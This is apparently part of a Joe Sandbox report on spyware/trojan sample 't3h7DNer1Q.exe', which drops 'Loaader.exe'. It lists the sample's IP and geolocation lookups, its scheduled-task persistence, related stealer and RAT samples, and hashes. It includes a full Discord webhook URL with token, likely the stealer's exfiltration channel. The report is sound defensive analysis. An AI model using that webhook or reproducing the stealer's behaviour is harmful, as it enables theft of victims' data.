https://discord.com/api/webhooks/895657579101958174/9Z8CPsHdivzzExezi2PenJZuA1sRTvhR7zSiHiSBhPgUVEAa	0%	Avira URL Cloud	safe
https://api.mylnikov.org	0%	Avira URL Cloud	safe
https://api.mylnikov.org/geolocation/wifi?v=1.p	0%	Avira URL Cloud	safe
https://api.mylnikP	0%	Avira URL Cloud	safe
http://api.mylnikov.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.26	true	false	unknown
ip-api.com	208.95.112.1	true	true	unknown
api.mylnikov.org	104.21.44.66	true	false	unknown
icanhazip.com	104.16.185.241	true	false	unknown
231.12.13.0.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	false	Avira URL Cloud: safe	unknown
http://icanhazip.com/	false	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	tmp31A0.tmp.dat.7.dr	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=	Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	History.txt.7.dr, tmp316F.tmp.dat.7.dr, tmp315E.tmp.dat.7.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	History.txt.7.dr, tmp316F.tmp.dat.7.dr, tmp315E.tmp.dat.7.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tmp31A0.tmp.dat.7.dr	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	URL Reputation: safe	unknown
https://api.mylnikov.org/geolocation/wifi?v=1.1&	Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://user-images.githubusercontent.com/45857590/138568746-1a5578fe-f51b-4114-bcf2-e374535f8488.pn	Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.mylnikov.org/geolocation/wifi?v=1.p	Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	tmp316F.tmp.dat.7.dr, tmp315E.tmp.dat.7.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000D.00000002.1903356370.0000021FBE528000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.2028062315.0000021FCE372000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	Loaader.exe, 00000007.00000002.2853326582.0000000002B4C000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002AED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.mylnikov.org	Loaader.exe, 00000007.00000002.2853326582.0000000002AFA000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.codeplex.com/DotNetZip	Loaader.exe, 00000007.00000002.2869103757.0000000012B17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/webhooks/895657579101958174/9Z8CPsHdivzzExezi2PenJZuA1sRTvhR7zSiHiSBhPgUVEAa	ce3ed400-d1e84918ad678b08d2a369a3-Latest.log.7.dr	false	Avira URL Cloud: safe	unknown
https://api.mylnikP	Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://icanhazip.com	Loaader.exe, 00000007.00000002.2853326582.00000000030BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000000D.00000002.1903356370.0000021FBE301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org	tmp31A0.tmp.dat.7.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	tmp316F.tmp.dat.7.dr, tmp315E.tmp.dat.7.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	t3h7DNer1Q.exe, 00000000.00000002.1622733927.0000000003222000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1903356370.0000021FBE301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://api.mylnikov.org	Loaader.exe, 00000007.00000002.2853326582.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Loaader.exe, 00000007.00000002.2869103757.0000000012D4F000.00000004.00000800.00020000.00000000.sdmp, tmp312E.tmp.dat.7.dr, tmp3180.tmp.dat.7.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
104.21.44.66	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false
104.16.185.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false
66.235.168.242	unknown	United States	397423	TIER-NETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446468
Start date and time:	2024-05-23 13:52:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	56
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	t3h7DNer1Q.exe renamed because original name is a hash value
Original Sample Name:	b8d455465260a845db35492fda5a8888.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/92@4/4
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 65% Number of executed functions: 13 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.57.26, 93.184.221.240
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7572 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: t3h7DNer1Q.exe

Simulations

Behavior and APIs

Time	Type	Description
07:52:58	API Interceptor	1x Sleep call for process: Loaader.exe modified
07:53:17	API Interceptor	325x Sleep call for process: powershell.exe modified
12:52:54	Task Scheduler	Run new task: Loaader path: "C:\Users\user\AppData\Roaming\Loaader.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	INVOICE.js	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	C30XdMP03R.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	NTgo4SxmS3.exe	Get hash	malicious	Blank Grabber, DCRat	Browse	ip-api.com/json/?fields=225545
	SecuriteInfo.com.PowerShell.Siggen.2046.5121.22247.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	documentos.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	New Inquiry RFQ.NO2015.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	V4zX3cdlet.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Tender for Quote_MYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	BBVA__Aviso_de_Pago_pdf.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
104.21.44.66	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, EICAR, RedLine, StormKitty, VenomRAT	Browse
	a.cmd	Get hash	malicious	Unknown	Browse
	UMJLhijN4z.exe	Get hash	malicious	AsyncRAT, Prynt Stealer, StormKitty, WorldWind Stealer	Browse
	HTZ4az17lj.exe	Get hash	malicious	StormKitty	Browse
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
	YVrNKlaWqu.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	WinDir.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer, zgRAT	Browse
	Hesap_Ekstresi_11956117.PDF.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	Dekont.pdf.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
104.16.185.241	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	icanhazip.com/
	RFQ-M310 .exe	Get hash	malicious	GuLoader, PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	file.exe	Get hash	malicious	GuLoader, PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	a.cmd	Get hash	malicious	Unknown	Browse	icanhazip.com/
	UMJLhijN4z.exe	Get hash	malicious	AsyncRAT, Prynt Stealer, StormKitty, WorldWind Stealer	Browse	icanhazip.com/
	HTZ4az17lj.exe	Get hash	malicious	StormKitty	Browse	icanhazip.com/
	GxrG78Getq.exe	Get hash	malicious	AsyncRAT, Blackshades, Quasar, StormKitty, WorldWind Stealer	Browse	icanhazip.com/
	PURCHASE_ORDER.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	Tax_docs_2023.pdf.lnk	Get hash	malicious	Metasploit	Browse	icanhazip.com/
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	icanhazip.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	https://allegroau.com/	Get hash	malicious	Unknown	Browse	217.20.57.18
	hesaphareketi_1.exe	Get hash	malicious	AgentTesla	Browse	217.20.57.18
	BERTELLI NEW QUOTATION REQUEST.xls	Get hash	malicious	Unknown	Browse	217.20.57.18
	https://wowwowhawaiianlemonade.com	Get hash	malicious	Unknown	Browse	217.20.57.18
	http://curve-amm.com	Get hash	malicious	Unknown	Browse	217.20.57.34
	https://skyasldights.ru.net/x4bQcxNS/index.html	Get hash	malicious	Unknown	Browse	217.20.57.18
	https://url2.mailanyone.net/scanner?m=1s81O6-0008Br-4D&d=4%7Cmail%2F90%2F1715966400%2F1s81O6-0008Br-4D%7Cin2d%7C57e1b682%7C17902772%7C12174482%7C664793DA5572258CACEE6A71CCB20F04&o=%2Fphty%3A%2Fmtseapesprstlmoc.&s=sNIZzYHyUIvQ6OVMbKtEQNJjOqk	Get hash	malicious	Unknown	Browse	217.20.57.34
	LsvjDwAj7O.exe	Get hash	malicious	AsyncRAT	Browse	217.20.57.26
	https://504xr.r.a.d.sendibm1.com/mk/cl/f/sh/1t6Af4OiGsF30hSZitzIcPNmdcfVSs/63xYDNkPsgSh	Get hash	malicious	Unknown	Browse	217.20.57.40
	RFQ_Order.exe	Get hash	malicious	Remcos	Browse	217.20.57.43
ip-api.com	INVOICE.js	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	C30XdMP03R.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	NTgo4SxmS3.exe	Get hash	malicious	Blank Grabber, DCRat	Browse	208.95.112.1
	SecuriteInfo.com.PowerShell.Siggen.2046.5121.22247.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	documentos.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	New Inquiry RFQ.NO2015.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	V4zX3cdlet.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Tender for Quote_MYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	BBVA__Aviso_de_Pago_pdf.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
api.mylnikov.org	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, EICAR, RedLine, StormKitty, VenomRAT	Browse	104.21.44.66
	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	172.67.196.114
	a.cmd	Get hash	malicious	Unknown	Browse	104.21.44.66
	UMJLhijN4z.exe	Get hash	malicious	AsyncRAT, Prynt Stealer, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	HTZ4az17lj.exe	Get hash	malicious	StormKitty	Browse	104.21.44.66
	GxrG78Getq.exe	Get hash	malicious	AsyncRAT, Blackshades, Quasar, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	Lex-DKM988293.zip	Get hash	malicious	AsyncRAT, DcRat	Browse	104.21.44.66
	Tax_docs_2023.pdf.lnk	Get hash	malicious	Metasploit	Browse	172.67.196.114
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	104.21.44.66
	YVrNKlaWqu.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse	104.21.44.66
icanhazip.com	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, EICAR, RedLine, StormKitty, VenomRAT	Browse	104.16.184.241
	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	104.16.185.241
	14posdLrGh.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.184.241
	Chlorine 2.0.exe	Get hash	malicious	Babadeda	Browse	104.16.184.241
	Chlorine 2.0-clean.exe	Get hash	malicious	Babadeda	Browse	104.16.184.241
	Chlorine 2.0.exe	Get hash	malicious	Babadeda	Browse	104.16.185.241
	Chlorine 2.0-clean.exe	Get hash	malicious	Babadeda	Browse	104.16.185.241
	RFQ-M310 .exe	Get hash	malicious	GuLoader, PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	file.exe	Get hash	malicious	GuLoader, PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	a.cmd	Get hash	malicious	Unknown	Browse	104.16.185.241

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://docs.google.com/forms/d/e/1FAIpQLSeRYIPr_Xs8SxtWD9VaAhgsz9aibS_bijyTwdbidiIQ4ngVlQ/viewform?embedded=true&entry.1325074572=http%3A%2F%2Fr.smtp.euro-symbiose.fr%2Ftr%2Fcl%2Fqrjz6G3WMajAukEuXu-N0Qebu__8ljHwQjs84-vbNFkstMs8BrqGB6auM8cV52vdc-z8kda-O1XzLDMdp-o1VJ_xiAbOzr9v5pxwTGj0Dst_LdwxxKSPofjHdg7nt8IDlgUJ3uTEcfUBoqUeYZ1z6UfsaMJ-LJXtWMT4Mwb9atjObh_1JANJ5jvL-GurRI94WpyXTvnXhmqNG1ThqZzYQSaX5jfeHHDV6kb8kSgWbW5xuXgTilqIdc91eM30NL2GhrRlNADqergaHf7cyAh4WnSBK&entry.731640200=build-verify+URL%3A+build+UrlParams%3A+build-verify+URL%3A+get+URL%3A+decrypt%3A+base64+decode%3A+illegal+base64+data+at+input+byte+280	Get hash	malicious	Unknown	Browse	1.1.1.1
	RE Fasthosts - Payment Failed.eml	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.18.10.14
	https://url.uk.m.mimecastprotect.com/s/pk4ACO8rYSq23vcE1w2J	Get hash	malicious	Unknown	Browse	188.114.97.3
	ELECTRONIC RECEIPT_Rockwool.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	f9oE743c23.exe	Get hash	malicious	LimeRAT	Browse	172.67.19.24
	https://g84qffhbb.cc.rs6.net/tn.jsp?f=001vOSSOENWSS4200uPNQEHjSDew4NbMuiPEfXAZZvLVpSmWUMPp8xPA1aAMxaun3grFaJ03lpVQAq0CnwEItgBCJ96l3XkhNonHD4qdyLoQ9nfNBhndHEDOsc5Zhc0NCidtDQvd1XijlCuZzhEm_iedfFzIAxsfdBF&c=&ch=	Get hash	malicious	Unknown	Browse	104.20.139.65
	WRnJsnI1Zq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.97.3
	https://groupe-aertec.atlassian.net/wiki/external/MmE1MDE0NmU1ZjQ0NGJjM2FkMGExMzIyYjgyMzcyN2U	Get hash	malicious	Unknown	Browse	104.19.178.52
	USD46k Swift_PDF.exe	Get hash	malicious	FormBook	Browse	104.21.34.155
	http://lionfish-app-u7ksx.ondigitalocean.app/firestoreconfig/magic_drop_down.js	Get hash	malicious	Unknown	Browse	172.66.0.96
CLOUDFLARENETUS	https://docs.google.com/forms/d/e/1FAIpQLSeRYIPr_Xs8SxtWD9VaAhgsz9aibS_bijyTwdbidiIQ4ngVlQ/viewform?embedded=true&entry.1325074572=http%3A%2F%2Fr.smtp.euro-symbiose.fr%2Ftr%2Fcl%2Fqrjz6G3WMajAukEuXu-N0Qebu__8ljHwQjs84-vbNFkstMs8BrqGB6auM8cV52vdc-z8kda-O1XzLDMdp-o1VJ_xiAbOzr9v5pxwTGj0Dst_LdwxxKSPofjHdg7nt8IDlgUJ3uTEcfUBoqUeYZ1z6UfsaMJ-LJXtWMT4Mwb9atjObh_1JANJ5jvL-GurRI94WpyXTvnXhmqNG1ThqZzYQSaX5jfeHHDV6kb8kSgWbW5xuXgTilqIdc91eM30NL2GhrRlNADqergaHf7cyAh4WnSBK&entry.731640200=build-verify+URL%3A+build+UrlParams%3A+build-verify+URL%3A+get+URL%3A+decrypt%3A+base64+decode%3A+illegal+base64+data+at+input+byte+280	Get hash	malicious	Unknown	Browse	1.1.1.1
	RE Fasthosts - Payment Failed.eml	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.18.10.14
	https://url.uk.m.mimecastprotect.com/s/pk4ACO8rYSq23vcE1w2J	Get hash	malicious	Unknown	Browse	188.114.97.3
	ELECTRONIC RECEIPT_Rockwool.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	f9oE743c23.exe	Get hash	malicious	LimeRAT	Browse	172.67.19.24
	https://g84qffhbb.cc.rs6.net/tn.jsp?f=001vOSSOENWSS4200uPNQEHjSDew4NbMuiPEfXAZZvLVpSmWUMPp8xPA1aAMxaun3grFaJ03lpVQAq0CnwEItgBCJ96l3XkhNonHD4qdyLoQ9nfNBhndHEDOsc5Zhc0NCidtDQvd1XijlCuZzhEm_iedfFzIAxsfdBF&c=&ch=	Get hash	malicious	Unknown	Browse	104.20.139.65
	WRnJsnI1Zq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.97.3
	https://groupe-aertec.atlassian.net/wiki/external/MmE1MDE0NmU1ZjQ0NGJjM2FkMGExMzIyYjgyMzcyN2U	Get hash	malicious	Unknown	Browse	104.19.178.52
	USD46k Swift_PDF.exe	Get hash	malicious	FormBook	Browse	104.21.34.155
	http://lionfish-app-u7ksx.ondigitalocean.app/firestoreconfig/magic_drop_down.js	Get hash	malicious	Unknown	Browse	172.66.0.96
TIER-NETUS	SecuriteInfo.com.Program.Unwanted.5176.1954.19726.exe	Get hash	malicious	HawkEye, PureLog Stealer, Xmrig	Browse	191.101.166.8
	SecuriteInfo.com.Program.Unwanted.5176.1954.19726.exe	Get hash	malicious	HawkEye, Gocoder, PureLog Stealer, Xmrig	Browse	191.101.166.8
	https://web.bancoinvestmenttrust.com/login.php	Get hash	malicious	Unknown	Browse	198.37.123.126
	7oT3AVmeSf.elf	Get hash	malicious	Unknown	Browse	155.254.17.202
	Report - 2022-04-20_1752.xls	Get hash	malicious	Hidden Macro 4.0	Browse	66.235.175.220
	Report - 2022-04-20_1752.xls	Get hash	malicious	Hidden Macro 4.0	Browse	66.235.175.220
	JK6XD0K2lU.elf	Get hash	malicious	Mirai	Browse	66.235.168.195
	Interglobo_Rfq List.exe	Get hash	malicious	Remcos, GuLoader	Browse	192.154.229.70
	posha000000053704.pdf.exe	Get hash	malicious	Remcos, GuLoader	Browse	192.154.229.70
	http://vk.com/away.php?to=https://ipeor.com/new/auth/zihrc1/amluc29va2ltQHVzbWV0cm9iYW5rLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	191.101.166.151
TUT-ASUS	INVOICE.js	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	C30XdMP03R.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	NTgo4SxmS3.exe	Get hash	malicious	Blank Grabber, DCRat	Browse	208.95.112.1
	SecuriteInfo.com.PowerShell.Siggen.2046.5121.22247.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	documentos.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	New Inquiry RFQ.NO2015.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	V4zX3cdlet.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Tender for Quote_MYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	BBVA__Aviso_de_Pago_pdf.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	f9oE743c23.exe	Get hash	malicious	LimeRAT	Browse	104.21.44.66
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.44.66
	DEsFjZJcR0.exe	Get hash	malicious	AsyncRAT	Browse	104.21.44.66
	SHIPPING DOCUMENT.PDF.exe	Get hash	malicious	Unknown	Browse	104.21.44.66
	bMAplZixhH.exe	Get hash	malicious	Njrat	Browse	104.21.44.66
	z64PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.44.66
	z25BNjJ88767909876500h.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.44.66
	LsvjDwAj7O.exe	Get hash	malicious	AsyncRAT	Browse	104.21.44.66
	FACT45780987600h.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.44.66
	4289397_SEA SHIPMENT.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69993
Entropy (8bit):	7.99584879649948
Encrypted:	true
SSDEEP:	1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5:	29F65BA8E88C063813CC50A4EA544E93
SHA1:	05A7040D5C127E68C25D81CC51271FFB8BEF3568
SHA-256:	1ED81FA8DFB6999A9FEDC6E779138FFD99568992E22D300ACD181A6D2C8DE184
SHA-512:	E29B2E92C496245BED3372578074407E8EF8882906CE10C35B3C8DEEBFEFE01B5FD7F3030ACAA693E175F4B7ACA6CD7D8D10AE1C731B09C5FA19035E005DE3AA
Malicious:	false
